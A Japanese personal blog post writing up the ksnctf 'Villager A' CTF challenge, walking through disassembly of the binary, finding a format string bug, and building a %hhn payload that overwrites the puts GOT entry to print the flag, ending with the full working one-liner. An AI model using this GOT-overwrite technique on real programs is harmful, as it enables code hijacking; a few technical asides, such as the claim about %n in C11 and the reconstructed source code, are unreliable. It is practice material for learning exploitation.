村人Aを倒す

久しぶりの更新。

今日はセキュリティの研修があったのだけれど、内容としてはひたすら教科書に書いてある単語の説明をしていくというだけであまりにも退屈で、ちょっと手を動かしたくなったので常設CTFを解いていくことにした。

触ったのはksnctf

実は昔(2年くらい前)に暇でksnctfはバーっと解いていったのだけど、時間が経ってあまりCTF系のことはやらなくなっていったので久しぶりに解いてみようかなとなった次第。

で、今回は対象は村人A

早速解いていく。

村人Aは大人気問題なのでいろいろな人がWrteupをあげているが、今回のエントリーは解説というより単純に自分の理解が曖昧な気がしたので言語化しておこうというノリなのであまり期待しないように。

とりかかる

問題を見てみるとSSHの繋ぎ先とID、Passwordが書いてあるので、SSHで繋げる。

ssh q4@ctfq.sweetduet.info -p 10022

これで見てみるとPasswordが要求されるので打ち込む。

さて、そこまで来ると中身はこうなっている。

f:id:komi1230:20200513181704p:plain
SSHで繋げたらこんな感じ

readme.txtを読んでみるとインターネットに繋げるのとホームディレクトリには書き込み禁止、一時的なディレクトリには /tmp を使ってねとのこと。

そしてflag.txtがあるのでこれをcatで開こうとするが、これは権限がないので無理っぽい。

とりあえずq4が実行ファイルらしいので実行してみると

  • 名前が聞かれる
  • ファイルが見たいか聞かれる。
  • noが入力されるまでやり直し

という具合。

普通に何かやろうとしても無理っぽい。

そこで今回は入力値を入れる形式なので、これによくある不正な値を入れたらどうなるか試してみる。

echo "%x" | ./q4

%xとは16進数。

これをやると名前が400となっている。

f:id:komi1230:20200513182409p:plain
不正な値を入れてみた

どうやらこの手がいけるらしい。

とりあえずこの時点でここに何か不正な値を入力させることでflagが手に入るのだなという方針が立つ。

さて、q4は実行ファイルなのでcatコマンドで中身を見ようとしてもロクなことにはならないので、とりあえず逆アセンブルする。

ということでオブジェクトファイルの静的解析ツールであるところのobjdumpを利用する。

objdump -M intel -D q4

この-M intelというのは逆アセンブルした際のアセンブリ言語をどの文法で記述するかというオプションで、実はAT&T記法よりもIntel記法の方が見やすい気がするのでこのオプションを挟んでいる。

-Dは逆アセンブル(disassemble)のオプション。

そこで見てみると、アセンブリがわーっと出てくる。

f:id:komi1230:20200513183006p:plain
アセンブルしてみた

中のコードを読み進めていくと、mainから始まる部分が見つかるので、そこをよく読んでみる。

080485b4 <main>:
 80485b4:   55                      push   ebp
 80485b5:   89 e5                   mov    ebp,esp
 80485b7:   83 e4 f0                and    esp,0xfffffff0
 80485ba:   81 ec 20 04 00 00       sub    esp,0x420
 80485c0:   c7 04 24 a4 87 04 08    mov    DWORD PTR [esp],0x80487a4
 80485c7:   e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 80485d1:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80485d5:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80485dc:   00 
 80485dd:   8d 44 24 18             lea    eax,[esp+0x18]
 80485e1:   89 04 24                mov    DWORD PTR [esp],eax
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:   c7 04 24 b6 87 04 08    mov    DWORD PTR [esp],0x80487b6
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:   8d 44 24 18             lea    eax,[esp+0x18]
 80485f9:   89 04 24                mov    DWORD PTR [esp],eax
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:   c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:   c7 84 24 18 04 00 00    mov    DWORD PTR [esp+0x418],0x1
 8048614:   01 00 00 00 
 8048618:   eb 67                   jmp    8048681 <main+0xcd>
 804861a:   c7 04 24 bb 87 04 08    mov    DWORD PTR [esp],0x80487bb
 8048621:   e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 804862b:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804862f:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 8048636:   00 
 8048637:   8d 44 24 18             lea    eax,[esp+0x18]
 804863b:   89 04 24                mov    DWORD PTR [esp],eax
 804863e:   e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:   85 c0                   test   eax,eax
 8048645:   0f 94 c0                sete   al
 8048648:   84 c0                   test   al,al
 804864a:   74 0a                   je     8048656 <main+0xa2>
 804864c:   b8 00 00 00 00          mov    eax,0x0
 8048651:   e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:   c7 44 24 04 d1 87 04    mov    DWORD PTR [esp+0x4],0x80487d1
 804865d:   08 
 804865e:   8d 44 24 18             lea    eax,[esp+0x18]
 8048662:   89 04 24                mov    DWORD PTR [esp],eax
 8048665:   e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:   85 c0                   test   eax,eax
 804866c:   75 13                   jne    8048681 <main+0xcd>
 804866e:   c7 04 24 d5 87 04 08    mov    DWORD PTR [esp],0x80487d5
 8048675:   e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:   b8 00 00 00 00          mov    eax,0x0
 804867f:   eb 5b                   jmp    80486dc <main+0x128>
 8048681:   8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048688:   85 c0                   test   eax,eax
 804868a:   0f 95 c0                setne  al
 804868d:   84 c0                   test   al,al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    mov    DWORD PTR [esp+0x4],0x80487e6
 8048698:   08 
 8048699:   c7 04 24 e8 87 04 08    mov    DWORD PTR [esp],0x80487e8
 80486a0:   e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:   89 84 24 1c 04 00 00    mov    DWORD PTR [esp+0x41c],eax
 80486ac:   8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 80486b3:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486b7:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80486be:   00 
 80486bf:   8d 44 24 18             lea    eax,[esp+0x18]
 80486c3:   89 04 24                mov    DWORD PTR [esp],eax
 80486c6:   e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:   8d 44 24 18             lea    eax,[esp+0x18]
 80486cf:   89 04 24                mov    DWORD PTR [esp],eax
 80486d2:   e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:   b8 00 00 00 00          mov    eax,0x0
 80486dc:   c9                      leave  
 80486dd:   c3                      ret    
 80486de:   90                      nop
 80486df:   90                      nop

これを読んでると、アドレス80485e4のところと804863efgetsがあり、アドレス80486a0のところにfopen関数があるのがわかる。

この実行ファイルのソースコードは知らないけど、先ほどの不正な入力値に対しての結果から

int main(void){
    char some_text[24];
    fgets(some_text, 24, stdin);
    printf(fgets);

    return 0;
}

みたいなことをしていると想像がつく。」

要するにprintfでフォーマットを指定することなく標準出力している。

ここから、今回のタスクは

  • q4に不正な値を入力する
  • どれかの関数のをコントロールし、fopen関数を叩いてくれるように誘導する

ということだとわかる。

さて、早速取り掛かるのだが、まず最初にq4に入力値を渡したとき、入力値がスタックの何番目にくるかを確認しておきたい。

ということで、以下のようなコマンドを実行してみる。

echo 'AAAA %x,%x,%x,%x,%x,%x,%x' | ./q4

そうすると

f:id:komi1230:20200513184522p:plain
入力値がスタックのどこに入ってくるかを確認

のように6番目に41414141が入ってるのを確認できる。

AのASCIIコードは41なので、6番目に入力した値が入ってくることがわかる。

ちなみに

echo "AAAABBBB,%x,%x,%x,%x,%x,%x,%x,%x" | ./q4

とすると、6番目に41414141が入り、7番目に42424242が入るのが確認できる。

とにかく、入力した値は6番目に以降に16byteずつ入ってくとわかる。

Exploit

以上をもとに、攻撃を仕掛けていく。

今回はmainの中で使っているputs関数のメモリアドレスをfopen関数に書き換えるという方針でいく。

今回重要なのがprintfにおけるフォーマット指定子で、%nを使う。

これは特定のスタックに出力バイト数を書き込むというもので、

int count;
printf("%d%n", 1234567, &count)

とするとcountには7が書き込まれるというわけである。

(ちなみに今回はこの%nを使ってexploitするわけだが、これを悪用したケースが多発したためにC11において廃止された)

%nは4byte、%hnは2byte、%hhnは1byte書き込む。

よって、今回のケースでは

echo 'AAAA%6$hhn' | ./q4

とすると、6番目のスタック領域に4が書き込まれることとなる。

ここから、

echo '[何かしらの文字列]%6$hhn%7$hhn...' | ./q4

とすれば入力値の領域に色々書き込めるということがわかる。

そして、この[何かしらの文字列]の部分にfopen関数のアドレスに相当するものを書き込めば、puts関数のアドレスの書き込み先をfopenにすることができてfopenを意図せぬ形で動かすということができるようになる。

まず、puts関数は

080484c4 <puts@plt>:
 80484c4:   ff 25 f4 99 04 08       jmp    DWORD PTR ds:0x80499f4
 80484ca:   68 30 00 00 00          push   0x30
 80484cf:   e9 80 ff ff ff          jmp    8048454 <_init+0x30>

というようになっており、またfopen関数は

080484a4 <fopen@plt>:
 80484a4:   ff 25 ec 99 04 08       jmp    DWORD PTR ds:0x80499ec
 80484aa:   68 20 00 00 00          push   0x20
 80484af:   e9 a0 ff ff ff          jmp    8048454 <_init+0x30>

となっている。

puts関数は0x80499f4に書き込まれるので、これを0x8048691に書き換える。

今回のシステムは32bitのCentOSなので、0x80499f4から始まる各アドレスに2byteずつ書き込んでいく。

書き込み方としてはこの画像がわかりやすい。

f:id:komi1230:20200513215800p:plain
ここより引用

ここでは指定したバイト数だけ出力してくれる%cというフォーマット指定子を使い、各アドレスに入力していく値を調整していく。

具体的に、この画像では最初にx91(10進数では145)をアドレスに割り当てるが、文字列では16byte分しかないので%cを129個分出すことによって145に相当する出力byteを%6$hhnに書き込む。

注意点として、入力では2byteずつしか格納できないので、適宜256byte分くり上げることで出力値をコントロールする。

この例として、4番目のx08を入力する際は3番目にx04を入力しているので追加で4byte分%cで増やしてあげればいいが、2番目のx86を出力するところでは1番目にx145を出力しており、すでに145byte出力しているので134-145は₋になってしまう。

つまり、これ以降の出力は大きい値でないといけないのだが、32bitのOSだということを利用して256byte分繰り上げれば良い(例えば0x132は0x32として格納される)

これらの性質を利用しつつちょこっと計算すれば

echo -e '\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4

puts関数をfopen関数へ無理やり飛ばす不正な文字列である。

まとめ

今回は村人Aの簡単な解法をまとめてみた。

随分と久しぶりにCTFをやったけど、このPwnの超絶基礎問題の村人Aに割と手こずってしまった気がする。

ただ、最近はずっと開発ばかりしていたのでたまにはこういう遊びも良いのかもしれない。

自分はセキュリティエンジニアでもないし恐らくこの手のテクニックはあまり役に立つことはないのかもだけど、単純に楽しいのでこれから定期的にCTFの勉強もやっていこうと思う。

また、アルゴリズム系についても基礎力がほぼゼロみたいな感じなのでLeetCodeなども適宜やっていこうと思う。

日々精進。